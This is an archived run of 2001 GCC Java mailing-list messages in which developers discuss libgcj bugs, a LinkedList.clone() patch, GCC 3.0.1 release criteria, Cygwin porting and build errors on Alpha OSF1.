Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22305 invoked by alias); 16 Jul 2001 10:56:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22210 invoked from network); 16 Jul 2001 10:56:37 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 16 Jul 2001 10:56:37 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 16CB6ABAF8; Mon, 16 Jul 2001 11:56:36 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6GAuZW26634; Mon, 16 Jul 2001 11:56:35 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15186.51299.377895.8280@cuddles.cambridge.redhat.com> Date: Mon, 16 Jul 2001 11:56:35 +0100 (BST) To: alk@pobox.com Cc: java@gcc.gnu.org Subject: recursive signal handling In-Reply-To: <15183.41408.210548.306418@spanky.love.edu> References: <15183.14858.810643.440286@spanky.love.edu> <15183.15167.142932.680601@cuddles.cambridge.redhat.com> <15183.41408.210548.306418@spanky.love.edu> X-Mailer: VM 6.75 under Emacs 20.7.1 Tony Kimball writes: > Quoth Andrew Haley on Friday, 13 July: > : > Is there a good reason why the signal handler > : > is reinstated during execution? > : > : Is it? Where? > > I haven't seen where, but the fact that it is recurring seems to > make a good prima facie case that it is, in fact. I don't think so. What is happening is that a SEGV occurs before the SEGV handler has returned. Andrew. From java-return-6520-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 12:07:43 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12196 invoked by alias); 16 Jul 2001 12:07:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12160 invoked from network); 16 Jul 2001 12:07:41 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 16 Jul 2001 12:07:41 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id IAA07307; Mon, 16 Jul 2001 08:08:47 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Mon, 16 Jul 2001 08:08:47 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Martin Kahlert cc: java-patches@gcc.gnu.org, apbianco@cygnus.com, java@gcc.gnu.org Subject: Re: Patch to avoid SegFault in natClass.cc In-Reply-To: <20010716101628.A6825@keksy.muc.infineon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 16 Jul 2001, Martin Kahlert wrote: > Can you tell me, what i have to do in order to get an uninitialized > class for an instanceof test? See the test case at the end of this message. With the JDK it will print: Initialized true Class B is uninitialized prior to the instanceof operator. Note that libgcj gets this wrong without your patch. > Is there a deeper reason at all, why the classloader should be allowed > to return an uninitialized class? If not, the _Jv_InitClass would be > superflous. That's just how Java classloaders work. It is described extensively (if not exactly) in the JLS. public class A { static B b; public static void main(String[] args) { System.out.println(b instanceof B); } } class B { static { System.out.println("Initialized"); } } From java-return-6521-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 12:12:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13007 invoked by alias); 16 Jul 2001 12:12:07 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12987 invoked from network); 16 Jul 2001 12:12:06 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 16 Jul 2001 12:12:06 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id IAA07342; Mon, 16 Jul 2001 08:13:12 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Mon, 16 Jul 2001 08:13:12 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Martin Kahlert cc: apbianco@cygnus.com, java@gcc.gnu.org Subject: Re: Patch to avoid SegFault in natClass.cc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 16 Jul 2001, Jeff Sturm wrote: > Initialized > true Oops: that should be Initialized false Jeff From java-return-6522-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 17:16:32 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17152 invoked by alias); 16 Jul 2001 17:16:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17021 invoked from network); 16 Jul 2001 17:16:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 16 Jul 2001 17:16:26 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA12345; Mon, 16 Jul 2001 11:16:18 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA05975; Mon, 16 Jul 2001 11:40:30 -0600 To: apbianco@cygnus.com Cc: Cedric Berger , java-discuss@sources.redhat.com Subject: Re: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com References: <3B4F5A61.49293705@wireless-networks.com> <15183.32275.660573.363648@fencer.cygnus.com> X-Zippy: AIEEEEE! I am having an UNDULATING EXPERIENCE! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 16 Jul 2001 11:40:28 -0600 In-Reply-To: Alexandre Petit-Bianco's message of "Fri, 13 Jul 2001 16:02:43 -0700 (PDT)" Message-ID: <873d7wdb77.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 > Cedric Berger writes: >> I'm I the only one to receive this junk each time I send a message >> on this list? Nope. I just deleted this address from the mailing list. Alex> I'm also getting Alex> Receiver:mobilian@netsgo.com Alex> No such user I haven't seen that one. Tom From java-return-6523-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 17:30:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26885 invoked by alias); 16 Jul 2001 17:30:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26840 invoked from network); 16 Jul 2001 17:30:12 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 16 Jul 2001 17:30:12 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA14913; Mon, 16 Jul 2001 11:30:09 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA12613; Mon, 16 Jul 2001 11:54:20 -0600 To: martin.kahlert@infineon.com Cc: java@gcc.gnu.org, Mark Mitchell Subject: Re: What goes into gcc-3.0.1 and what not? References: <20010716102404.A6857@keksy.muc.infineon.com> X-Zippy: If I am elected, the concrete barriers around the WHITE HOUSE will be replaced by tasteful foam replicas of ANN MARGARET! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 16 Jul 2001 11:54:19 -0600 In-Reply-To: Martin Kahlert's message of "Mon, 16 Jul 2001 10:24:05 +0200" Message-ID: <871yng220k.fsf@creche.redhat.com> Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Martin" == Martin Kahlert writes: Martin> Could anybody please tell me about what goes into the trunk Martin> and what patches are considered for 3.0.1? Good question. Here is the message Mark sent out about 3.0.1: http://gcc.gnu.org/ml/gcc/2001-06/msg01382.html Now, for 3.0 the criteria for Java were more relaxed than for the rest of the compiler. And I assume we have some leeway in 3.0.1 as well. I personally have only been putting in fixes which are not likely to break an existing supported platform and which will help us build on a new platform. I haven't been checking in fixes to the libraries and the like, even if they are relatively simple. There are a few patches pending which do this and which I hope to look at this week. Martin> This doesn't seem to be the case in libgcj. E.g. JNI bugfixes Martin> are considered not important enough to go into 3.0.1. Actually, we haven't really discussed it. I don't have a problem moving JNI fixes from 3.1 to 3.0.1. They are very unlikely to break anything that isn't already broken. However, where do we draw the line? How would we decide what not to put in 3.0.1? Tom From java-return-6524-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 17:33:40 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27984 invoked by alias); 16 Jul 2001 17:33:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27947 invoked from network); 16 Jul 2001 17:33:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 16 Jul 2001 17:33:38 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA15431; Mon, 16 Jul 2001 11:33:30 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA12660; Mon, 16 Jul 2001 11:57:42 -0600 To: "Anthony Green" Cc: "Antonio Ake" , Subject: Re: _ZN4java4lang5ClassC1Ev multiple defined in Alpha OSF1 References: <004801c10d3a$00dc8200$5be6b4cd@cygnus.com> X-Zippy: Am I SHOPLIFTING? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 16 Jul 2001 11:57:41 -0600 In-Reply-To: "Anthony Green"'s message of "Sun, 15 Jul 2001 07:25:29 -0700" Message-ID: <87g0bwzrhm.fsf@creche.redhat.com> Lines: 11 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Anthony" == Anthony Green writes: >> java/lang/.libs/Class.o: _ZN4java4lang5ClassC1Ev: multiply defined Anthony> Do you have this patch? Anthony> http://gcc.gnu.org/ml/java-patches/2001-q3/msg00024.html This patch is already on the 3.0 branch. Antonio, why didn't you see it? Tom From java-return-6525-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 19:01:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6257 invoked by alias); 16 Jul 2001 19:01:24 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6090 invoked from network); 16 Jul 2001 19:01:15 -0000 Received: from unknown (HELO localhost.localdomain) (66.60.148.227) by sourceware.cygnus.com with SMTP; 16 Jul 2001 19:01:15 -0000 Received: from warlock.codesourcery.com (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.11.2/8.11.2) with ESMTP id f6GIetw29393; Mon, 16 Jul 2001 11:40:56 -0700 Date: Mon, 16 Jul 2001 11:40:53 -0700 From: Mark Mitchell To: "tromey@redhat.com" , "martin.kahlert@infineon.com" cc: "java@gcc.gnu.org" Subject: Re: What goes into gcc-3.0.1 and what not? Message-ID: <13160000.995308853@warlock.codesourcery.com> In-Reply-To: <871yng220k.fsf@creche.redhat.com> X-Mailer: Mulberry/2.0.8 (Linux/x86 Demo) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline --On Monday, July 16, 2001 11:54:19 AM -0600 Tom Tromey wrote: >>>>>> "Martin" == Martin Kahlert writes: > > Martin> Could anybody please tell me about what goes into the trunk > Martin> and what patches are considered for 3.0.1? > > Good question. > > Here is the message Mark sent out about 3.0.1: > > http://gcc.gnu.org/ml/gcc/2001-06/msg01382.html > > Now, for 3.0 the criteria for Java were more relaxed than for the rest > of the compiler. And I assume we have some leeway in 3.0.1 as well. Yes -- but less than before. The FSF has bragged about the cool-o Java support in GCC 3.0 so we have to start believing there's a real user-base out there relying on the compiler. I would say that including changes that fix critical bugs is OK for Java, but I'd prefer not to have whole-sale overhauls, or other possibly destabilizing changes. The goal is that 3.0.1 be better than 3.0 across the board, not just fix some bugs and introduce others. Definitely anything that might reduce the number of platforms we support would be bad. Use your best judgement. :-) -- Mark Mitchell mark@codesourcery.com CodeSourcery, LLC http://www.codesourcery.com From java-return-6526-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 17 00:56:21 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28505 invoked by alias); 17 Jul 2001 00:56:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28457 invoked from network); 17 Jul 2001 00:56:18 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 17 Jul 2001 00:56:18 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6H0wJW20141; Tue, 17 Jul 2001 12:58:20 +1200 Message-ID: <3B538E04.69C30335@waitaki.otago.ac.nz> Date: Tue, 17 Jul 2001 12:59:48 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: martin.kahlert@infineon.com CC: java-patches@gcc.gnu.org, apbianco@cygnus.com, java@gcc.gnu.org Subject: Re: Patch to avoid SegFault in natClass.cc References: <20010713110609.A27763@keksy.muc.infineon.com> <15182.48112.995173.464369@fencer.cygnus.com> <20010716101628.A6825@keksy.muc.infineon.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Martin Kahlert wrote: > Can you tell me, what i have to do in order to get an uninitialized > class for an instanceof test? Try using the three-argument Class.forName() with a value of false for the "initalize" parameter. > I wildly mixed abstract classes with .class calls but i had no success. > > Is there a deeper reason at all, why the classloader should be allowed to return > an uninitialized class? If not, the _Jv_InitClass would be superflous. Probibly for performance reasons, say to be able to reflect on some random class without actually running its code. regards [ bryce ] From java-return-6527-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 17 01:56:04 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21953 invoked by alias); 17 Jul 2001 01:56:03 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21913 invoked from network); 17 Jul 2001 01:56:01 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 17 Jul 2001 01:56:01 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6H1w3W20532; Tue, 17 Jul 2001 13:58:04 +1200 Message-ID: <3B539C05.915326C5@waitaki.otago.ac.nz> Date: Tue, 17 Jul 2001 13:59:33 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Brad Fitzpatrick CC: java@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch: Re: LinkedList.clone() bug References: <0be001c10a8d$6d073560$0c00000a@pepper> <3B4E69E0.2F216BA4@waitaki.otago.ac.nz> <02ce01c10b4e$15c1edb0$0c00000a@pepper> Content-Type: multipart/mixed; boundary="------------F8429D1D82B1838C3059559A" This is a multi-part message in MIME format. --------------F8429D1D82B1838C3059559A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brad Fitzpatrick wrote: > Without testing, my guess is that won't work, as it was seeming like right > after the try/catch, (copy == this) was true. My guess is that this was just confused output from the debugger (did you build libgcj without optimization?). > To me, it would seem like clone() would throw an NullPointerException when > it did copy.size = 0, since copy should still be null? Wouldn't > super.clone() throw an exception, since AbstractSequentialList has no > clone()? The super.clone() call is actually invoking clone() from java.lang.Object. Object.clone() is designed to be callable from subclasses which implement Cloneable. Since we know LinkedList implements Cloneable, the CloneNotSupportedException can never happen. > But in my testcase, both l1 and the cloned l2 had their contents doubled, > which again suggests this == copy. > > Maybe I don't understand what's going on (quite likely), but it seems as if > the LinkedList clone() is not quite right. You're right, the method was buggy. The result from the call to Object.clone() is an exact memory copy of the source object. The cloned object is different from the original object (ie this != copy) but all its fields contain the same values. The problem was that the method was naively trying to clear the copy object by setting its size to 0. This technique works when using the regular add() because it checks for the size == 0 case explicitly and resets the "first" and "last" fields to point to the only Entry object. However, the addAll() method is more efficient and does not have such a check. It sees that "last" is non-null and proceeds to add entries immediately following this in the list. These new entries are now visible in both lists because they share the same Entry objects (and the structure of both lists is now corrupted). I'm checking in the fix: 2001-07-17 Bryce McKinlay * java/util/LinkedList.java (clone): Clear the copy list with clear(), not by setting its size field. regards [ bryce ] --------------F8429D1D82B1838C3059559A Content-Type: text/plain; charset=us-ascii; name="linkedlist.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="linkedlist.patch" 2001-07-17 Bryce McKinlay * java/util/LinkedList.java (clone): Clear the copy list with clear(), not by setting its size field. Index: LinkedList.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/LinkedList.java,v retrieving revision 1.5 diff -u -r1.5 LinkedList.java --- LinkedList.java 2000/12/04 10:20:00 1.5 +++ LinkedList.java 2001/07/17 01:49:11 @@ -474,7 +474,7 @@ catch (CloneNotSupportedException ex) { } - copy.size = 0; + copy.clear(); copy.addAll(this); return copy; } @@ -534,9 +534,7 @@ } /** A ListIterator over the list. This class keeps track of its - * position in the list, the size of the list, and the two list - * entries it is between. This enables it to be used identically - * for both the list itself and a sublist of the list. + * position in the list and the two list entries it is between. */ class LinkedListItr implements ListIterator { @@ -546,10 +544,6 @@ Entry lastReturned; // entry that will be affected by remove() or set(). int position; // index of `next'. - /** - * Create a new Iter starting at a given Entry within the list, at a given - * position, in a list of given size. - */ LinkedListItr(int index) { if (index == size) --------------F8429D1D82B1838C3059559A-- From java-return-6528-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 17 13:37:32 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9150 invoked by alias); 17 Jul 2001 13:37:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9130 invoked from network); 17 Jul 2001 13:37:31 -0000 Received: from unknown (HELO btclick.com) (62.172.195.11) by sourceware.cygnus.com with SMTP; 17 Jul 2001 13:37:31 -0000 Received: from vengeance.int.acris.co.uk ([213.123.192.213]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GGMDUF05.C6Z for ; Tue, 17 Jul 2001 14:37:27 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id PAA22621 for ; Tue, 17 Jul 2001 15:23:24 +0100 Message-ID: <3B544143.D0DD0405@acris.co.uk> Date: Tue, 17 Jul 2001 14:44:35 +0100 From: Julian Hall X-Mailer: Mozilla 4.7 [en-gb] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: java@gcc.gnu.org Subject: Cygwin progress, Storing references to objects in CNI code Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi folks, just thought I'd give you an update on how things are going with getting gcj running on cygwin. I've been doing some testing on the version I built with SjLj exceptions, and it mostly now seems to be working OK; after a little experimentation I've decided that the cygwin thread code is not stable enough to support libgcj as yet, but that the windows threading code in libgcj can be made to work suitably on the cygwin platform. I've also had a few problems with a library developed in-house here that uses JNI; I've made a few updates to get dynamic loading & JNI calls to work correctly and managed to get some basic JNI code to work correctly, but when I tried more complex scenarios I experienced a number of NullPointerExceptions from various parts of the code, most specifically when calling NewGlobalRef(). Also, when building a DLL with GCC windows persistently failed to load the DLL, however a DLL built by MSVC++ from the same code functioned adequately. I also couldn't persuade 'ld' to export any symbols from an EXE even though Windows does support this, hence I couldn't statically link against the JNI code. Another random comment: 'gcjh -jni' does not output the values of 'final static 's as const declarations, whereas Sun's javah does. I decided that the best thing to do would be to rewrite everything using CNI (the library was fairly small anyway, and I figured that the performance improvement of not having to use indirection would be worthwhile). The one thing I haven't quite figured out about CNI is how to perform the equivalent operation of JNI's NewGlobalRef() - I initially assumed that the garbage collector would find pointers stored in blocks allocated with JvMalloc() but this seems to not be the case (that caused a bug that was rather amusing to track down, I can tell you...!). I'm currently storing the references in a Vector (which as I'm only expecting in the order of 10-100 references at a time seems relatively efficient), but wonder if there's a better way? Anyway... I'm getting close to the point where I can send some patches in, although I haven't been able to get the paperwork sorted out yet, and haven't quite got the entire thing automatically configuring properly for a fresh build (I'm still tweaking some things by hand after running configure...) Jules From java-return-6529-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 17 19:36:31 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16669 invoked by alias); 17 Jul 2001 19:36:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16648 invoked from network); 17 Jul 2001 19:36:29 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 17 Jul 2001 19:36:29 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id OAA04883; Tue, 17 Jul 2001 14:31:53 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15188.37831.280561.214293@spanky.love.edu> Date: Tue, 17 Jul 2001 14:36:39 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: jules@acris.co.uk Cc: java@gcc.gnu.org Subject: Cygwin progress, Storing references to objects in CNI code References: <3B544143.D0DD0405@acris.co.uk> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid I'm also working on cygwin gcj, and plan to do a mingw gcj after. I'm also waiting for paperwork. At the moment my cygwin work is suspended while i fix some generic bugs, and linux bugs, working on linux, but it should resume in a couple of days. At that time I'd like to synchronize with you, so that we can share our efforts. I could set up a shared code base, which would facilitate such collaboration. Then when the paper comes through, we can submit a single set of patches, which will also save trouble on the part of the gcj maintainers. Does seem sensible to you? From java-return-6530-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 11:44:44 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28926 invoked by alias); 18 Jul 2001 11:44:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28905 invoked from network); 18 Jul 2001 11:44:43 -0000 Received: from unknown (HELO smtp.networkusa.net) (216.162.106.18) by sourceware.cygnus.com with SMTP; 18 Jul 2001 11:44:43 -0000 Received: from gao-2001.stlouis.mo.us (p-93.valuenet.net [216.15.147.98]) by smtp.networkusa.net (8.9.3/8.9.3) with ESMTP id GAA06246 for ; Wed, 18 Jul 2001 06:05:59 -0500 Subject: GCJ 3.0's jar and Sun JDK 1.4 Beta's src.zip From: Weiqi Gao To: java@gcc.gnu.org Content-Type: text/plain X-Mailer: Evolution/0.10 (Preview Release) Date: 18 Jul 2001 06:45:30 -0500 Message-Id: <995456732.2926.0.camel@gao-2001.stlouis.mo.us> Mime-Version: 1.0 I jsut noticed that the jar command from GCC(GCJ) 3.0 had trouble unzipping the src.zip file from the Sun Linux JDK 1.4 Beta. [weiqi@gao]$ jar xvf /usr/local/src/j2sdk1.4.0/src.zip created: com/ created: com/sun/ created: com/sun/image/ created: com/sun/image/codec/ created: com/sun/image/codec/jpeg/ inflated: com/sun/image/codec/jpeg/JPEGCodec.java Error inflating file! (-3) -- Weiqi Gao weiqigao@networkusa.net From java-return-6531-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 15:02:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19733 invoked by alias); 18 Jul 2001 15:02:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19669 invoked from network); 18 Jul 2001 15:02:38 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 18 Jul 2001 15:02:38 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6IF2X523421 for ; Wed, 18 Jul 2001 10:02:34 -0500 (EST) Date: Wed, 18 Jul 2001 10:02:33 -0500 (EST) From: Antonio Ake To: Subject: Problem with Alpha OSF1 and mips-tfile Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am working with gcc 3.0.1 and my architecture is OSF1 V5.0 91. There was a problem with the linker, I disabled awt, net,jni. My configuration command was: ../gcc-20010702/configure --with-gcc-version-trigger=/usr/music/ake/g/gcc-200107 02/gcc/version.c --host=alphaev56-dec-osf5.0 --prefix=/usr/users/ake/gcc18/ --without-x --disable-jni --disable-net --enable-libgcj --norecursion The libgcj is finally compiled BUT when I tried to tested it with: gcj --main=HelloWorld -o HelloWorld HelloWorld.java error message: mips-tfile:internal error, is already in original symbol table mips-tfile:internal error, is already in original symbol table mips-tfile, /tmp/ccaj2Z8E.s:71 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,2,$LM1 mips-tfile, /tmp/ccaj2Z8E.s:93 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,3,$LM2 mips-tfile, /tmp/ccaj2Z8E.s:113 Invalid .stabs/.stabn directive, value not found line: #.stabn 68,0,4,$LM3 Any ideas? From java-return-6532-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 15:06:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21653 invoked by alias); 18 Jul 2001 15:06:18 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21616 invoked from network); 18 Jul 2001 15:06:15 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 18 Jul 2001 15:06:15 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 796D9ABAF8; Wed, 18 Jul 2001 16:06:11 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6IF6Bb27598; Wed, 18 Jul 2001 16:06:11 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15189.42467.686609.676315@cuddles.cambridge.redhat.com> Date: Wed, 18 Jul 2001 16:06:11 +0100 (BST) To: Antonio Ake Cc: Subject: Problem with Alpha OSF1 and mips-tfile In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Antonio Ake writes: > > Any ideas? Looks like an incompatibility with the native assembler. Did you use GNU as for this? Do C++ programs work OK? Andrew. From java-return-6533-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 18 16:11:53 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29404 invoked by alias); 18 Jul 2001 16:11:53 -0000 